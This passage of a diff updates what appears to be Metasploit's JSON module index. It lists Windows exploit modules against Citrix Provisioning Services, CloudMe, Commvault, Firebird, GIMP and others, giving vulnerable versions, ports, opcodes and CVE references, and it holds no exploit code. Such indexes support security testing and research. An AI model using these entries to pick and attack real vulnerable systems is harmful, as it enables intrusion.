5.6.\n By sending a specially crafted packet to the Provisioning Services server, a fixed\n length buffer on the stack can be overflowed and arbitrary code can be executed.", + "description": "This module exploits a stack buffer overflow in Citrix Provisioning Services 5.6.\n By sending a specially crafted packet to the Provisioning Services server, a fixed\n length buffer on the stack can be overflowed and arbitrary code can be executed.", "references": [ "OSVDB-70597", "ZDI-11-023", @@ -185354,16 +190353,12 @@ "platform": "Windows", "arch": "", "rport": 6905, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 / Windows Server 2003 SP2 / Windows Vista" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/citrix_streamprocess.rb", "is_install_path": true, "ref_name": "windows/misc/citrix_streamprocess", @@ -185371,6 +190366,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -185378,9 +190382,7 @@ "exploit_windows/misc/citrix_streamprocess_data_msg": { "name": "Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020000 Buffer Overflow", "fullname": "exploit/windows/misc/citrix_streamprocess_data_msg", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-11-04", "type": "exploit", @@ -185388,7 +190390,7 @@ "AbdulAziz Hariri", "alino <26alino@gmail.com>" ], - "description": "This module exploits a remote buffer overflow in the Citrix Provisioning Services\n 5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet to the\n 6905/UDP port. The module has been successfully tested on Windows Server 2003 SP2,\n Windows 7, and Windows XP SP3.", + "description": "This module exploits a remote buffer overflow in the Citrix Provisioning Services\n 5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet to the\n 6905/UDP port. The module has been successfully tested on Windows Server 2003 SP2,\n Windows 7, and Windows XP SP3.", "references": [ "OSVDB-75780", "BID-49803", @@ -185398,16 +190400,12 @@ "platform": "Windows", "arch": "", "rport": 6905, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Citrix Provisioning Services 5.6 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb", "is_install_path": true, "ref_name": "windows/misc/citrix_streamprocess_data_msg", @@ -185415,6 +190413,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -185422,9 +190429,7 @@ "exploit_windows/misc/citrix_streamprocess_get_boot_record_request": { "name": "Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020004 Buffer Overflow", "fullname": "exploit/windows/misc/citrix_streamprocess_get_boot_record_request", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-11-04", "type": "exploit", @@ -185432,7 +190437,7 @@ "alino <26alino@gmail.com>", "juan vazquez " ], - "description": "This module exploits a remote buffer overflow in the Citrix Provisioning Services\n 5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode\n 0x40020004 (GetBootRecordRequest) to the 6905/UDP port. The module, which allows\n code execution under the context of SYSTEM, has been successfully tested on Windows Server\n 2003 SP2 and Windows XP SP3.", + "description": "This module exploits a remote buffer overflow in the Citrix Provisioning Services\n 5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode\n 0x40020004 (GetBootRecordRequest) to the 6905/UDP port. The module, which allows\n code execution under the context of SYSTEM, has been successfully tested on Windows Server\n 2003 SP2 and Windows XP SP3.", "references": [ "OSVDB-75780", "BID-49803", @@ -185441,16 +190446,12 @@ "platform": "Windows", "arch": "", "rport": 6905, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Citrix Provisioning Services 5.6 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb", "is_install_path": true, "ref_name": "windows/misc/citrix_streamprocess_get_boot_record_request", @@ -185458,6 +190459,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -185465,9 +190475,7 @@ "exploit_windows/misc/citrix_streamprocess_get_footer": { "name": "Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020002 Buffer Overflow", "fullname": "exploit/windows/misc/citrix_streamprocess_get_footer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-11-04", "type": "exploit", @@ -185475,7 +190483,7 @@ "alino <26alino@gmail.com>", "juan vazquez " ], - "description": "This module exploits a remote buffer overflow in the Citrix Provisioning Services\n 5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode\n 0x40020002 (GetFooterRequest) to the 6905/UDP port. The module, which allows code execution\n under the context of SYSTEM, has been successfully tested on Windows Server 2003 SP2\n and Windows XP SP3.", + "description": "This module exploits a remote buffer overflow in the Citrix Provisioning Services\n 5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode\n 0x40020002 (GetFooterRequest) to the 6905/UDP port. The module, which allows code execution\n under the context of SYSTEM, has been successfully tested on Windows Server 2003 SP2\n and Windows XP SP3.", "references": [ "OSVDB-75780", "BID-49803", @@ -185484,16 +190492,12 @@ "platform": "Windows", "arch": "", "rport": 6905, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Citrix Provisioning Services 5.6 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb", "is_install_path": true, "ref_name": "windows/misc/citrix_streamprocess_get_footer", @@ -185501,6 +190505,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -185508,9 +190521,7 @@ "exploit_windows/misc/citrix_streamprocess_get_objects": { "name": "Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020006 Buffer Overflow", "fullname": "exploit/windows/misc/citrix_streamprocess_get_objects", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-11-04", "type": "exploit", @@ -185519,7 +190530,7 @@ "alino <26alino@gmail.com>", "juan vazquez " ], - "description": "This module exploits a remote buffer overflow in the Citrix Provisioning Services\n 5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode\n 0x40020006 (GetObjetsRequest) to the 6905/UDP port. The module, which allows code execution\n under the context of SYSTEM, has been successfully tested on Windows Server 2003 SP2\n and Windows XP SP3.", + "description": "This module exploits a remote buffer overflow in the Citrix Provisioning Services\n 5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode\n 0x40020006 (GetObjetsRequest) to the 6905/UDP port. The module, which allows code execution\n under the context of SYSTEM, has been successfully tested on Windows Server 2003 SP2\n and Windows XP SP3.", "references": [ "OSVDB-75780", "BID-49803", @@ -185529,16 +190540,12 @@ "platform": "Windows", "arch": "", "rport": 6905, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Citrix Provisioning Services 5.6 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb", "is_install_path": true, "ref_name": "windows/misc/citrix_streamprocess_get_objects", @@ -185546,6 +190553,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -185553,9 +190569,7 @@ "exploit_windows/misc/cloudme_sync": { "name": "CloudMe Sync v1.10.9", "fullname": "exploit/windows/misc/cloudme_sync", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2018-01-17", "type": "exploit", @@ -185563,7 +190577,7 @@ "hyp3rlinx", "Daniel Teixeira" ], - "description": "This module exploits a stack-based buffer overflow vulnerability\n in CloudMe Sync v1.10.9 client application. This module has been\n tested successfully on Windows 7 SP1 x86.", + "description": "This module exploits a stack-based buffer overflow vulnerability\n in CloudMe Sync v1.10.9 client application. This module has been\n tested successfully on Windows 7 SP1 x86.", "references": [ "CVE-2018-6892", "EDB-44027" @@ -185571,16 +190585,12 @@ "platform": "Windows", "arch": "", "rport": 8888, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "CloudMe Sync v1.10.9" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/cloudme_sync.rb", "is_install_path": true, "ref_name": "windows/misc/cloudme_sync", @@ -185588,6 +190598,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -185595,16 +190614,14 @@ "exploit_windows/misc/commvault_cmd_exec": { "name": "Commvault Communications Service (cvd) Command Injection", "fullname": "exploit/windows/misc/commvault_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2017-12-12", "type": "exploit", "author": [ "b0yd" ], - "description": "This module exploits a command injection vulnerability\n discovered in Commvault Service v11 SP5 and earlier versions (tested in v11 SP5\n and v10). The vulnerability exists in the cvd.exe service and allows an\n attacker to execute arbitrary commands in the context of the service. By\n default, the Commvault Communications service installs and runs as SYSTEM in\n Windows and does not require authentication. This vulnerability was discovered\n in the Windows version. The Linux version wasn't tested.", + "description": "This module exploits a command injection vulnerability\n discovered in Commvault Service v11 SP5 and earlier versions (tested in v11 SP5\n and v10). The vulnerability exists in the cvd.exe service and allows an\n attacker to execute arbitrary commands in the context of the service. By\n default, the Commvault Communications service installs and runs as SYSTEM in\n Windows and does not require authentication. This vulnerability was discovered\n in the Windows version. The Linux version wasn't tested.", "references": [ "CVE-2017-18044", "URL-https://www.securifera.com/advisories/sec-2017-0001/" @@ -185612,16 +190629,12 @@ "platform": "Windows", "arch": "", "rport": 8400, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Commvault Communications Service (cvd) / Microsoft Windows 7 and higher" ], - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/commvault_cmd_exec.rb", "is_install_path": true, "ref_name": "windows/misc/commvault_cmd_exec", @@ -185629,6 +190642,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -185636,9 +190658,7 @@ "exploit_windows/misc/crosschex_device_bof": { "name": "Anviz CrossChex Buffer Overflow", "fullname": "exploit/windows/misc/crosschex_device_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-11-28", "type": "exploit", @@ -185657,16 +190677,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Crosschex Standard x86 <= V4.3.12" ], - "mod_time": "2020-03-05 14:48:37 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/crosschex_device_bof.rb", "is_install_path": true, "ref_name": "windows/misc/crosschex_device_bof", @@ -185674,6 +190690,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -185681,9 +190706,7 @@ "exploit_windows/misc/cve_2022_28381_allmediaserver_bof": { "name": "ALLMediaServer 1.6 SEH Buffer Overflow", "fullname": "exploit/windows/misc/cve_2022_28381_allmediaserver_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2022-04-01", "type": "exploit", @@ -185698,12 +190721,8 @@ "platform": "Windows", "arch": "x86", "rport": 888, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ALLMediaServer 1.6" ], @@ -185731,9 +190750,7 @@ "exploit_windows/misc/delta_electronics_infrasuite_deserialization": { "name": "Delta Electronics InfraSuite Device Master Deserialization", "fullname": "exploit/windows/misc/delta_electronics_infrasuite_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-05-17", "type": "exploit", @@ -185795,32 +190812,24 @@ "exploit_windows/misc/disk_savvy_adm": { "name": "Disk Savvy Enterprise v10.4.18", "fullname": "exploit/windows/misc/disk_savvy_adm", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2017-01-31", "type": "exploit", "author": [ "Daniel Teixeira" ], - "description": "This module exploits a stack-based buffer overflow vulnerability\n in Disk Savvy Enterprise v10.4.18, caused by improper bounds\n checking of the request sent to the built-in server. This module\n has been tested successfully on Windows 7 SP1 x86.", - "references": [ - - ], + "description": "This module exploits a stack-based buffer overflow vulnerability\n in Disk Savvy Enterprise v10.4.18, caused by improper bounds\n checking of the request sent to the built-in server. This module\n has been tested successfully on Windows 7 SP1 x86.", + "references": [], "platform": "Windows", "arch": "", "rport": 9124, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Disk Savvy Enterprise v10.4.18" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/disk_savvy_adm.rb", "is_install_path": true, "ref_name": "windows/misc/disk_savvy_adm", @@ -185828,6 +190837,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -185835,9 +190853,7 @@ "exploit_windows/misc/doubletake": { "name": "DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow", "fullname": "exploit/windows/misc/doubletake", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-06-04", "type": "exploit", @@ -185852,18 +190868,14 @@ "platform": "Windows", "arch": "", "rport": 1100, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "doubletake 4.5.0", "doubletake 4.4.2", "doubletake 4.5.0.1819" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/doubletake.rb", "is_install_path": true, "ref_name": "windows/misc/doubletake", @@ -185871,6 +190883,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -185878,9 +190899,7 @@ "exploit_windows/misc/eiqnetworks_esa": { "name": "eIQNetworks ESA License Manager LICMGR_ADDLICENSE Overflow", "fullname": "exploit/windows/misc/eiqnetworks_esa", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-07-24", "type": "exploit", @@ -185889,7 +190908,7 @@ "ri0t ", "kf " ], - "description": "This module exploits a stack buffer overflow in eIQnetworks\n Enterprise Security Analyzer. During the processing of\n long arguments to the LICMGR_ADDLICENSE command, a stack-based\n buffer overflow occurs. This module has only been tested\n against ESA v2.1.13.", + "description": "This module exploits a stack buffer overflow in eIQnetworks\n Enterprise Security Analyzer. During the processing of\n long arguments to the LICMGR_ADDLICENSE command, a stack-based\n buffer overflow occurs. This module has only been tested\n against ESA v2.1.13.", "references": [ "CVE-2006-3838", "OSVDB-27526", @@ -185899,12 +190918,8 @@ "platform": "Windows", "arch": "", "rport": 10616, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "EnterpriseSecurityAnalyzerv21 Universal", @@ -185930,7 +190945,7 @@ "Top Layer Network Security Analyzer (OEM) Offset 1262 Windows XP English SP1/SP2", "Top Layer Network Security Analyzer (OEM) Offset 1262 Windows Server 2003 English SP0/SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/eiqnetworks_esa.rb", "is_install_path": true, "ref_name": "windows/misc/eiqnetworks_esa", @@ -185938,6 +190953,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -185945,16 +190969,14 @@ "exploit_windows/misc/eiqnetworks_esa_topology": { "name": "eIQNetworks ESA Topology DELETEDEVICE Overflow", "fullname": "exploit/windows/misc/eiqnetworks_esa_topology", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-07-25", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in eIQnetworks\n Enterprise Security Analyzer. During the processing of\n long arguments to the DELETEDEVICE command in the Topology\n server, a stack-based buffer overflow occurs.\n\n This module has only been tested against ESA v2.1.13.", + "description": "This module exploits a stack buffer overflow in eIQnetworks\n Enterprise Security Analyzer. During the processing of\n long arguments to the DELETEDEVICE command in the Topology\n server, a stack-based buffer overflow occurs.\n\n This module has only been tested against ESA v2.1.13.", "references": [ "CVE-2006-3838", "OSVDB-27528", @@ -185963,19 +190985,15 @@ "platform": "Windows", "arch": "", "rport": 10628, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 SP4 English", "Windows XP SP2 English", "Windows 2003 SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb", "is_install_path": true, "ref_name": "windows/misc/eiqnetworks_esa_topology", @@ -185983,6 +191001,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -185990,9 +191017,7 @@ "exploit_windows/misc/enterasys_netsight_syslog_bof": { "name": "Enterasys NetSight nssyslogd.exe Buffer Overflow", "fullname": "exploit/windows/misc/enterasys_netsight_syslog_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-12-19", "type": "exploit", @@ -186001,7 +191026,7 @@ "rgod ", "juan vazquez " ], - "description": "This module exploits a stack buffer overflow in Enterasys NetSight. The\n vulnerability exists in the Syslog service (nssylogd.exe) when parsing a specially\n crafted PRIO from a syslog message. The module has been tested successfully on\n Enterasys NetSight 4.0.1.34 over Windows XP SP3 and Windows 2003 SP2.", + "description": "This module exploits a stack buffer overflow in Enterasys NetSight. The\n vulnerability exists in the Syslog service (nssylogd.exe) when parsing a specially\n crafted PRIO from a syslog message. The module has been tested successfully on\n Enterasys NetSight 4.0.1.34 over Windows XP SP3 and Windows 2003 SP2.", "references": [ "CVE-2011-5227", "OSVDB-77971", @@ -186011,17 +191036,13 @@ "platform": "Windows", "arch": "", "rport": 514, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Enterasys NetSight 4.0.1.34 / Windows XP SP3", "Enterasys NetSight 4.0.1.34 / Windows 2003 SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb", "is_install_path": true, "ref_name": "windows/misc/enterasys_netsight_syslog_bof", @@ -186029,6 +191050,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -186036,9 +191066,7 @@ "exploit_windows/misc/eureka_mail_err": { "name": "Eureka Email 2.2q ERR Remote Buffer Overflow", "fullname": "exploit/windows/misc/eureka_mail_err", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-10-22", "type": "exploit", @@ -186048,7 +191076,7 @@ "dookie", "jduck " ], - "description": "This module exploits a buffer overflow in the Eureka Email 2.2q\n client that is triggered through an excessively long ERR message.\n\n NOTE: this exploit isn't very reliable. Unfortunately reaching the\n vulnerable code can only be done when manually checking mail (Ctrl-M).\n Checking at startup will not reach the code targeted here.", + "description": "This module exploits a buffer overflow in the Eureka Email 2.2q\n client that is triggered through an excessively long ERR message.\n\n NOTE: this exploit isn't very reliable. Unfortunately reaching the\n vulnerable code can only be done when manually checking mail (Ctrl-M).\n Checking at startup will not reach the code targeted here.", "references": [ "CVE-2009-3837", "OSVDB-59262", @@ -186057,17 +191085,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Win XP SP3 English", "Win XP SP2 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/eureka_mail_err.rb", "is_install_path": true, "ref_name": "windows/misc/eureka_mail_err", @@ -186075,6 +191099,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -186082,9 +191115,7 @@ "exploit_windows/misc/fb_cnct_group": { "name": "Firebird Relational Database CNCT Group Number Buffer Overflow", "fullname": "exploit/windows/misc/fb_cnct_group", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-01-31", "type": "exploit", @@ -186099,12 +191130,8 @@ "platform": "Windows", "arch": "x86", "rport": 3050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows FB 2.5.2.26539", "Windows FB 2.5.1.26351", @@ -186112,7 +191139,7 @@ "Windows FB 2.1.4.18393", "Debug" ], - "mod_time": "2018-10-27 20:54:14 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/misc/fb_cnct_group.rb", "is_install_path": true, "ref_name": "windows/misc/fb_cnct_group", @@ -186130,9 +191157,7 @@ "exploit_windows/misc/fb_isc_attach_database": { "name": "Firebird Relational Database isc_attach_database() Buffer Overflow", "fullname": "exploit/windows/misc/fb_isc_attach_database", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-10-03", "type": "exploit", @@ -186140,7 +191165,7 @@ "Ramon de C Valle ", "Adriano Lima " ], - "description": "This module exploits a stack buffer overflow in Borland InterBase\n by sending a specially crafted create request.", + "description": "This module exploits a stack buffer overflow in Borland InterBase\n by sending a specially crafted create request.", "references": [ "CVE-2007-5243", "OSVDB-38607", @@ -186150,18 +191175,14 @@ "platform": "Windows", "arch": "x86", "rport": 3050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Brute Force", "Firebird WI-V2.0.0.12748 WI-V2.0.1.12855 (unicode.nls)", "Debug" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/fb_isc_attach_database.rb", "is_install_path": true, "ref_name": "windows/misc/fb_isc_attach_database", @@ -186169,6 +191190,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -186176,9 +191206,7 @@ "exploit_windows/misc/fb_isc_create_database": { "name": "Firebird Relational Database isc_create_database() Buffer Overflow", "fullname": "exploit/windows/misc/fb_isc_create_database", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-10-03", "type": "exploit", @@ -186186,7 +191214,7 @@ "Ramon de C Valle ", "Adriano Lima " ], - "description": "This module exploits a stack buffer overflow in Borland InterBase\n by sending a specially crafted create request.", + "description": "This module exploits a stack buffer overflow in Borland InterBase\n by sending a specially crafted create request.", "references": [ "CVE-2007-5243", "OSVDB-38606", @@ -186196,18 +191224,14 @@ "platform": "Windows", "arch": "x86", "rport": 3050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Brute Force", "Firebird WI-V2.0.0.12748 WI-V2.0.1.12855 (unicode.nls)", "Debug" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/fb_isc_create_database.rb", "is_install_path": true, "ref_name": "windows/misc/fb_isc_create_database", @@ -186215,6 +191239,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -186222,9 +191255,7 @@ "exploit_windows/misc/fb_svc_attach": { "name": "Firebird Relational Database SVC_attach() Buffer Overflow", "fullname": "exploit/windows/misc/fb_svc_attach", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-10-03", "type": "exploit", @@ -186232,7 +191263,7 @@ "Ramon de C Valle ", "Adriano Lima " ], - "description": "This module exploits a stack buffer overflow in Borland InterBase\n by sending a specially crafted service attach request.", + "description": "This module exploits a stack buffer overflow in Borland InterBase\n by sending a specially crafted service attach request.", "references": [ "CVE-2007-5243", "OSVDB-38605", @@ -186242,18 +191273,14 @@ "platform": "Windows", "arch": "x86", "rport": 3050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Brute Force", "Firebird WI-V1.5.3.4870 WI-V1.5.4.4910", "Debug" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/fb_svc_attach.rb", "is_install_path": true, "ref_name": "windows/misc/fb_svc_attach", @@ -186261,6 +191288,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -186268,9 +191304,7 @@ "exploit_windows/misc/gh0st": { "name": "Gh0st Client buffer Overflow", "fullname": "exploit/windows/misc/gh0st", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-07-27", "type": "exploit", @@ -186278,22 +191312,16 @@ "Professor Plum" ], "description": "This module exploits a Memory buffer overflow in the Gh0st client (C2 server)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Gh0st Beta 3.6" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/gh0st.rb", "is_install_path": true, "ref_name": "windows/misc/gh0st", @@ -186301,6 +191329,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -186308,9 +191345,7 @@ "exploit_windows/misc/gimp_script_fu": { "name": "GIMP script-fu Server Buffer Overflow", "fullname": "exploit/windows/misc/gimp_script_fu", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-05-18", "type": "exploit", @@ -186318,7 +191353,7 @@ "Joseph Sheridan", "juan vazquez " ], - "description": "This module exploits a buffer overflow in the script-fu server\n component on GIMP <= 2.6.12. By sending a specially crafted packet, an\n attacker may be able to achieve remote code execution under the context\n of the user.\n\n This module has been tested on GIMP for Windows from installers\n provided by Jernej Simoncic.", + "description": "This module exploits a buffer overflow in the script-fu server\n component on GIMP <= 2.6.12. By sending a specially crafted packet, an\n attacker may be able to achieve remote code execution under the context\n of the user.\n\n This module has been tested on GIMP for Windows from installers\n provided by Jernej Simoncic.", "references": [ "CVE-2012-2763", "OSVDB-82429", @@ -186329,17 +191364,13 @@ "platform": "Windows", "arch": "", "rport": 10008, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], 